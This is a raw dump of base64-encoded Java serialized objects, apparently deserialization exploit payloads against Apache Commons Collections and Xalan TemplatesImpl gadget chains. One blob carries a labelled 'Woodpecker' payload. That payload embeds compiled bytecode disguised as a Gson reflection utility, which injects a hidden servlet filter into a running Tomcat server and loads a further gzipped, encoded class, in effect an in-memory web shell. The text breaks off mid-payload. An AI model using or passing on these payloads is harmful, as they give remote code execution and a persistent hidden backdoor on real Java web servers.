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

Woodpecker：
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAOGnK/rq+AAAAMQG0AQAcY29tL2dvb2dsZS9nc28vcy9SZWZsZWN0VXRpbAcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQACLyoIAAgBAAxnZXRDbGFzc05hbWUBACRvcmcuYXBhY2hlLkNvbnRleHRMb2FkZXJHb2Zyc2FGaWx0ZXIIAAsBAA9nZXRCYXNlNjRTdHJpbmcBAApFeGNlcHRpb25zAQATamF2YS9pby9JT0V4Y2VwdGlvbgcADwEAEGphdmEvbGFuZy9TdHJpbmcHABEBEGRINHNJQUFBQUFBQUFBSjFZQ1hoY1ZSWCs3OHhrM21ReTNUSjBtYVlicGNza2syVFNOaTF0dXRBa0xUUTJrNWFtdEtZRjVHWHlra3c3bVptOGVaTTJ1T0NDZ3JpaXVLQll0WXAxUVN3dFRCb3FVRGRRRUJGQlFVVGM5d1ZSVVZFay92ZTlONU5KSm1uNytTVjU5NzU3ei9LZmM4ODU5N3c4L01xOTl3TllJWm9GbGlUMW5yQ2FVcU85V3JnNW1UQzB3MFpyVXUzUzlNdVMzWHBhdlRRV056UmRnUkNZZVVBZFVNTnhOZEVUYm82cjZiUkZwc0FwY0lIY09oeE9hL3BBWERQQ09hWVNBZmVHV0NKbWJCSndCaXYzQ0xpYWsxMmF3TFRXV0VKcnkvUjFhdnB1dFRQT2xmTFdaRlNONzFIMW1IeTNGMTFHYnl3dHNLejFmREN1OTBHQnh3c1hwZ3JNRGJaT2lIYTlCQ0d1RlpnOXliNFVNbDBLOFpObWxLVGQwR09KbnFaTUxHNmFQTk9MV1ZLTkswVk9DWDQ4SmVYTVFhQVVEc3lsRDlSVVNrdDBDZFFFaXdrcmk1WnNMUlF4RC9PbG9nWDAza0Z0MElkRmxzZ0xCVHhHMGlLbTc0UEZJc2g3RVpaSTNxWGs3ZXRhVFNlZWwyNHlMa2ZRU3lXVmNtYXFDOUZqbC9QNGcvdWJLc2Q3YmIyQUk5ckp4LzRtZ2JJdXJadm5hbTdRZTZSdmFTbm04R0VGVmtvUHI2TGN3d0lLNmZaVlNuNy9LT25XdzFFdFpjU1NDUVVYa3l4SzlhMVdqRVgxd1pTUkREZkhVcjMwRVk5Z1FOWHJjOXZqbUxrdGlFVDA4VytmZ2pwYnhUZ2hDaG9GcHJRYmF2UmdSRTNab2VkczNOcnV3UllhMWFNWkxZbTBvU2FpWEs2YzFJdmprZmx3S1M3em9nbmJCQmFPSVVpbnRHaTRYWXZxbXJGZEcyem5tNEpYQ1V3ZkwxaEJLdythNnBzR0RZMW11SUwwa2c5dDJPRkZCRHN0RDA4QVo0K000VjFlYkVjN21XVDZTZElXaXpLdFJUTjZ6QmdNVTdWSmVnWDJTSlI3ZVJCZHlVdGpDVFhPZ0pWSExYVjFZSi9jM0M4d2Z4eDdSRXVuMVI1dFM2eEhTeHYwczVQVzhCblpzdHFEMXdoVW5JVmFnU3F3WXZKd25FU0hkR2pVaTA0d2tkeHhMZEZqOUpwVnBjV0hidlJJbC9EZG5VbDFxWVptUlJXamp3WWV3RUhKRmJlclZMaFBOWHJEVGJHZUZ0YVJIbm42Q2JKMW1UcDhTRW5uZHFKZitxQ0ZUakI5bWZZaUNVTm1RTXNrcVRZZ0tRNHhXSXprRmN4MXZWbE5hejRNeWhTTWdOWEcxOG1GTmZWYkUxR3ovTTBhbDBxMkpLSzJLUFN4SldWSDV3RXRLcDNzdHNRSXpKZ2dEMlVpckdFbWRqSlVTZ2JVZUVhelk2bzJZOFRpdFUwbXF3ZHZaZlVkeDZ6Z0JxcnVUdXB0YWgrWmxwNmpVdVRTK08yNHlZc2I4UTRCTDRQVVJ1N0J1d2grZnhHNWd2Y0lsSkl1b2htOVNSN2g1Z20wRkxNVjZ0VzE3amo5RUxZa0VNRE5lSjhFOEg2bTlmNWlkeW40Z01DY3lkZ1ZmSWorakNVR2tnZHA4cnBnTWY4RUlpdUxsM3k0RlIveDRzUDQ2SmdNdG5ZVmZNektZTHNrK29NVCtmSGorSVFYUi9CSmdhbWE2Y1RkZG0zMzRGT01sWFFtVWRzWFMwZHJteHJidCtaaWlINituZUdXMEE2TjFxYXhGMEVlM3pGOFZucnBjelRYRXUvQkYzaGsrU0pKWEI2WitmSU9GZGdmYkIxN2w3ZGI0eTZ0UHlPemNMTGRkSXFTdFBIYmx0VG1YaldXTUcvZVJhUDRMTnhHVEpVWUNzcjk4YkZVOGJqV284WWJvMUhXZ2dLcUU2em8zZnlqMllWSHQ4czY0OWlBdG9OWk9GYTB6QjlWMTNka21Na0xMWjVZTWl4cmE2T3VxNE5jVDJVTU9sNVQrMlFtcHFtUVhFUXp6cVpldzBpRnQvSFJibEhJMUdQTllVMmJtaDdqSzRFRlovY2xNekU5MW44NVpKTTdtTGtkbGU1a2lUMkxyNGxmejRGWVBqbitjV2c4ZWg3RytDZ29ac3JqbVhjMkd4VTh5THZqckNZcCtLWkFZRkpiRkR6TWtuUmVKaWo0TnZ1Yzh3T3U0RHM4bjdPZnJJTHYydUFualJRRjM3TlZuanNBRlR6SnZPdlZaSjhwSzYwUFA3QWFyS2VzeXJqTjNQSGhod2lXNFZFOHcveTJpUGZJWXU3RHN4YjFqM2xRVVRiQjlBMVR0MkpNbzl1cjZ1M1NGNndINnl2MytmQVQvRlRlUUQrelNuUjdMcVFYQnl2UEZkUSsvQUsvbERCK3hkdUx2RHRWblpBTmllODNGcjdmNXErMUxWcnVXcHZnNHBCdHhPL3hCOWxTL3RHSDFWZ2paMzltZ0tiVXdUaDdiZy8rWW1sb05NalJtWkdYOTdsNjFYeHQreXYrVm9iSDhYZm1YcTdLV24wOEk2cTQxdVpiL0gvZ243SWsva3RDOGZ0UWcxbzUrdzl4cE1mZ1dENEJqZ2x1QlRZSi84VXJFc2dJSFozS2VTcnRFVUk2YXNTTEo4eHZrb0l3eWJEeTlXbWpvU0g0cVRTblVOdnVYajE1U0xhaVZqOG5GSzl3QzQrczRmMFpOWjZXemNnRVNQYjVoRmVVOFRZUlBpdW05cktSa3Q2WW5mTUdBM2tuN2JBMzF2dkVWREd0REkrSjZhUlBaenJUOWtmRnJHRExoTDJPS0JkK1JwUzRJTmV0ajVXbmlGa3NVSWZrZkJ6QzBlWlV6QkVCcjVndDVzcExiNm5aTStWVHl5Zm15d2JzQ2JIQWg5Zmg5VHdWc1lnNlpYOFZFWXZ6VGNQL2V6dEpWOTRwbHBUaEViRzBLUHR0NG9JeldWNWdaTXVPZ28xS1dZWGo2clhYeXFaWnN6czIyWC94Tzh0SkZ4YmYybGFLNkI0UlpwQlpMRTJaN202NXNzSkt6anpGS3RtT21pOGVRWGtMeDV0czE4WmtvanZXWTE2cXZ1NkNGZGJqczlHYmdJa3dPY2dxc2lFYU56L09QWmpENW1WVmRJMVcxN2xXWFJkZHNYcmx5bnJWSXphU21nVk4weVdzUzhqUW5EcVVNbm9POVh0RUl5NWt4cmhBckNoQnFmeFVCT0NSSDczbXVNZ2NoYXh3NXZpc09aWnh4bTkwUGt2NTFrZ0pncU8vYWdqVHF2eGk4ejE0bWtQVFBYanVMaTQ3NE9WVEppWW9ycHdLeXpqeldTd2NwNWlDK2JWdWk0dVRVdExXVllXR2NNRlllYWN4cTJNSXMwK2dJb3VGSjdDWXp5eVduVUxWU1ZTUDZwb0tKNTlMS0gwcHdsaG02cHRseWJUMXlka01ZbUhuSWF1R3JYa2pIU0dwU3F0Q3p0RDlRNmcvbmhmcE51RldGb2dxellzcXBaSTZVeFNyb2kzcUtYSzRPSWJLdDU1Q1Mxdk52RnVodUk3QlZYSWEyenRNNEplWGJ4M0M3aXhlWFJQSzRzcmpiZUs0cVlKZjdWaEwvRjVUVVFtZllZcXF3MkorYlFleGtoQldtU0RxdWVmbTZqbzBrTHFTa05aamcybDNLQThzUkl2cVRLa2hiTUlscEdubW5GUWptQWFYQW9lQ3pVTGhkNkY4akhDcmNJMlRKakdDMlhEYWk1SnFyUmtpUWR0STJtTnFyQk90NWRlY2doYXBycUpkVGo1aVdmU2RSckxEVloyRlBvVE05T2xaSE03aXRhMWtpWVNrcFE1VTBmTTVTeGZ3L01FM0I2M3gwSktaUkZsRnpEVzBvSmJJeTh6WWNYSnZNVmV2c3M5eW94bU1EbEpjelprd3JmUERNVUkySW83dzE4Sk1zQ3hDSkNSbzBXSkdPbkNZb045MkN1K01WSmUvVzV6QmU3TzRwWnJqQjdPNHJhMG1pNlBsbjNiZGh4czduT1diMjdsVnc1Y2pIYzRxem04N2d3anRXTmRXL2htVFBZdlBON2dDTHNseVJ5Rkx3RlhFVTlMZ292RXl2RGRpTTRFMW9oOUczZ2tyZVhDZ0VRNStJSHR3R1Nxd2pYUTdTZGxDeXUxY2FhVkZFZkxzSUZjYkJuQzU2Wmh0ZEY0RkhmTUdYR2U2YUMzZWlEZFJTb1FwSU5kYzVLeXgxeG9abzIrMkErVXcza0luU2djTzRQcThBeXRsZUd3Mmp6em53QkhHbk10K2wvNlVheStSL0lzeVpEaHlCWGZpUzVhREhYZlF2WVFsNW9YTzRORUdWL1VaUE5aUUVuQlYzWTJuaC9FakJ4N0U4d1Z2bkR5WHhjOXZ4VE1CMXpCK0xkRGdyZ3E0bU9ERCtKMERXZnlwUWFrS0tNNHNubTlRQXU3eUY0YnhvZ01QWWJHY240YWpnOEYyTkl1WGh2RHZnSkxGeThNczNJekxtd0l1djNBRWxHSGhkT0kwbnVnWUVxNEdUNTcvREc2VXAxWjZETk1hdktlRnV5UGdIUktsRHdSS0E1NnNtTEtYbzhzY1M0YkZESUVUcUhZeWdNWE1yS2dJbEdiRnZOeEdsU1JmeUpOLy9wUzRVRzdtNlNYNVJWdzVockthVVBXd1dDWkJUV2x3NTE3dUlzcWJjUlMzYzJhTkp5R3Y4Qm41WURpQXVYenVZYkR1aGZ6L1RSajd1TGVmaDMwbGovMHEvbHpOb0w2RzNZOUtDVjJVMFVNcEd0VjBVMll2aG5FUVgyRXRmUko5ZUFZSnZJQ2tjRUlYYnFURlZCeWlwb3p3WTBCVVlOQU1vdXRaTTQ1Uzk5ME1tRkpLOGVJZWV0OUwyVHFHY0lwaGRSZDIyYnRyOFFqbDMwdHMyK2pjMHd3aWhiSTg1TmpBTlo1OHJnSng5bVhjSnlzUVovZmpBWm0zbkowaE1pZmNZaGEraXE4eGdueGlPcjZPYnpCdW1zMzY3eG1oYVI2ejdEeWs0RnNLSGxId3FJTEhGRHpPS0FSR1dJRktKOXRXMktReFFMLy9Nc29VSEJtaHM5ekZwQXhUcFlsUlhHckdzSnZ0U1ZCVUVTY2JYQ3VLOGFKZEp2cjlvczVNYzc5WWFXZDNSR2EzVEhzcnYwTldmbS9tNy9HSVdWTGFhdnlpM25tZkRMSmJCTWNqSkxCTGhGK3NLWlNTcXhHRk1zeUNYVjFRSE9kS3A3SitLY3ptR2g1QUxYTzVudG5jd2t5V1I3ZUord3FXaVpDWjRmWFlhTTZjM0ErS2FqUC9hOUVzYW5nNHNtejI1NitIZmxHYnozcmViMzB5dFF0VCtncHhzZTJNMVdhVjRObU4zckhXaFhoRHdZVW84b0tGV0N2V2pkWUh3ZnRDTk9UYmhaQkpPNEd3bXdvYWc1d3dqMWlmWjl4cXFtR0Y4b3NOSjFIaEY1dE9Zdkc1T2dLUjd6NThtTSs0V1FEOER4c1MzL2MyR1FBQQgAEwEABjxpbml0PgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAFQAWCgASABcBAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAaAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAGZmlsdGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHY29udGV4dAEACGNvbnRleHRzAQAQTGphdmEvdXRpbC9MaXN0OwEABHRoaXMBAB5MY29tL2dvb2dsZS9nc28vcy9SZWZsZWN0VXRpbDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAOamF2YS91dGlsL0xpc3QHACcBABJqYXZhL3V0aWwvSXRlcmF0b3IHACkBAA1TdGFja01hcFRhYmxlDAAVABkKAAQALAEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsMAC4ALwoAAgAwAQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7DAAyADMLACgANAEAB2hhc05leHQBAAMoKVoMADYANwsAKgA4AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAA6ADsLACoAPAEACWdldEZpbHRlcgEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAA+AD8KAAIAQAEACWFkZEZpbHRlcgEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgwAQgBDCgACAEQBAARrZXkxAQAIY2hpbGRyZW4BABNMamF2YS91dGlsL0hhc2hNYXA7AQADa2V5AQALY2hpbGRyZW5NYXABAAZ0aHJlYWQBABJMamF2YS9sYW5nL1RocmVhZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHAFABABBqYXZhL2xhbmcvT2JqZWN0BwBSAQAQamF2YS9sYW5nL1RocmVhZAcAVAEAEWphdmEvdXRpbC9IYXNoTWFwBwBWAQATamF2YS91dGlsL0FycmF5TGlzdAcAWAoAWQAsAQAKZ2V0VGhyZWFkcwgAWwEADGludm9rZU1ldGhvZAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DABdAF4KAAIAXwEAB2dldE5hbWUMAGEABgoAVQBiAQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcggAZAEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABmAGcKABIAaAEABnRhcmdldAgAagEABWdldEZWDABsAF4KAAIAbQEABnRoaXMkMAgAbwgARwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7DAByAHMKAFcAdAEADWphdmEvdXRpbC9TZXQHAHYLAHcANAEAA2dldAwAeQA/CgBXAHoBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsMAHwAfQoAUwB+AQAPamF2YS9sYW5nL0NsYXNzBwCACgCBAGIBAA9TdGFuZGFyZENvbnRleHQIAIMBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAIUAhgsAKACHAQAVVG9tY2F0RW1iZWRkZWRDb250ZXh0CACJAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwwAiwCMCgBVAI0BAAh0b1N0cmluZwwAjwAGCgCBAJABABlQYXJhbGxlbFdlYmFwcENsYXNzTG9hZGVyCACSAQAfVG9tY2F0RW1iZWRkZWRXZWJhcHBDbGFzc0xvYWRlcggAlAEACXJlc291cmNlcwgAlggAIAEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uBwCZAQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWDAAVAJsKAJoAnAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCeAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcAoAEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24HAKIBAAlTaWduYXR1cmUBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEAE2phdmEvbGFuZy9UaHJvd2FibGUHAKYBAAljbGF6ekJ5dGUBAAJbQgEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcAsAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAsgCzCgBVALQBAA5nZXRDbGFzc0xvYWRlcgwAtgCMCgCBALcMAAoABgoAAgC5AQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAuwC8CgCxAL0MAA0ABgoAAgC/AQAMZGVjb2RlQmFzZTY0AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgwAwQDCCgACAMMBAA5nemlwRGVjb21wcmVzcwEABihbQilbQgwAxQDGCgACAMcIAKoHAKkBABFqYXZhL2xhbmcvSW50ZWdlcgcAywEABFRZUEUMAM0ArQkAzADOAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DADQANEKAIEA0gEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAcA1AEADXNldEFjY2Vzc2libGUBAAQoWilWDADWANcKANUA2AEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DADaANsKAMwA3AEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwA3gDfCgDVAOABAAtuZXdJbnN0YW5jZQwA4gA7CgCBAOMBAA1nZXRGaWx0ZXJOYW1lAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAxsYXN0RG90SW5kZXgBAAFJAQAJY2xhc3NOYW1lAQASTGphdmEvbGFuZy9TdHJpbmc7AQABLggA6wEAC2xhc3RJbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJDADtAO4KABIA7wEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwwA8QDyCgASAPMBAAlmaWx0ZXJEZWYBAAlmaWx0ZXJNYXABAAJlMgEADGNvbnN0cnVjdG9ycwEAIFtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAMZmlsdGVyQ29uZmlnAQANZmlsdGVyQ29uZmlncwEAD0xqYXZhL3V0aWwvTWFwOwEADmNhdGFsaW5hTG9hZGVyAQAPZmlsdGVyQ2xhc3NOYW1lAQAKZmlsdGVyTmFtZQEAI1tMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I8Kj47BwD5AQARZ2V0Q2F0YWxpbmFMb2FkZXIMAQIAjAoAAgEDDADlAOYKAAIBBQEADWZpbmRGaWx0ZXJEZWYIAQcBAF0oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAF0BCQoAAgEKAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJEZWYIAQwBAAdmb3JOYW1lDAEOALwKAIEBDwEAL29yZy5hcGFjaGUudG9tY2F0LnV0aWwuZGVzY3JpcHRvci53ZWIuRmlsdGVyTWFwCAERAQAkb3JnLmFwYWNoZS5jYXRhbGluYS5kZXBsb3kuRmlsdGVyRGVmCAETAQAkb3JnLmFwYWNoZS5jYXRhbGluYS5kZXBsb3kuRmlsdGVyTWFwCAEVAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwwBDgEXCgCBARgBAA1zZXRGaWx0ZXJOYW1lCAEaAQAOc2V0RmlsdGVyQ2xhc3MIARwBAAxhZGRGaWx0ZXJEZWYIAR4BAA1zZXREaXNwYXRjaGVyCAEgAQAHUkVRVUVTVAgBIgEADWFkZFVSTFBhdHRlcm4IASQMAAUABgoAAgEmAQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnCAEoAQAXZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcnMBACIoKVtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7DAEqASsKAIEBLAEADXNldFVSTFBhdHRlcm4IAS4BABJhZGRGaWx0ZXJNYXBCZWZvcmUIATABAAxhZGRGaWx0ZXJNYXAIATIBAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgcBNAoBNQDYAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DADiATcKATUBOAgA+wEADWphdmEvdXRpbC9NYXAHATsBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwBPQE+CwE8AT8BAA9wcmludFN0YWNrVHJhY2UMAUEAGQoAGwFCAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24HAUQBACBqYXZhL2xhbmcvSW5zdGFudGlhdGlvbkV4Y2VwdGlvbgcBRgEAAWkBAAxkZWNvZGVyQ2xhc3MBAAdkZWNvZGVyAQAHaWdub3JlZAEACWJhc2U2NFN0cgEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcggBTgEADGRlY29kZUJ1ZmZlcggBUAEACWdldE1ldGhvZAwBUgDRCgCBAVMBABBqYXZhLnV0aWwuQmFzZTY0CAFVAQAKZ2V0RGVjb2RlcggBVwEABmRlY29kZQgBWQEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBZAEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HAWYBAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBaAoBZQAsAQAFKFtCKVYMABUBawoBZwFsAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAVAW4KAWkBbwEABHJlYWQBAAUoW0IpSQwBcQFyCgFpAXMBAAV3cml0ZQEAByhbQklJKVYMAXUBdgoBZQF3AQALdG9CeXRlQXJyYXkBAAQoKVtCDAF5AXoKAWUBewEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAYEBggoAAgGDAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAYUKAYYA2AoBhgB6AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uBwGJAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAGMAY0KAIEBjgEADWdldFN1cGVyY2xhc3MMAZAAfQoAgQGRCgGKABcBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTG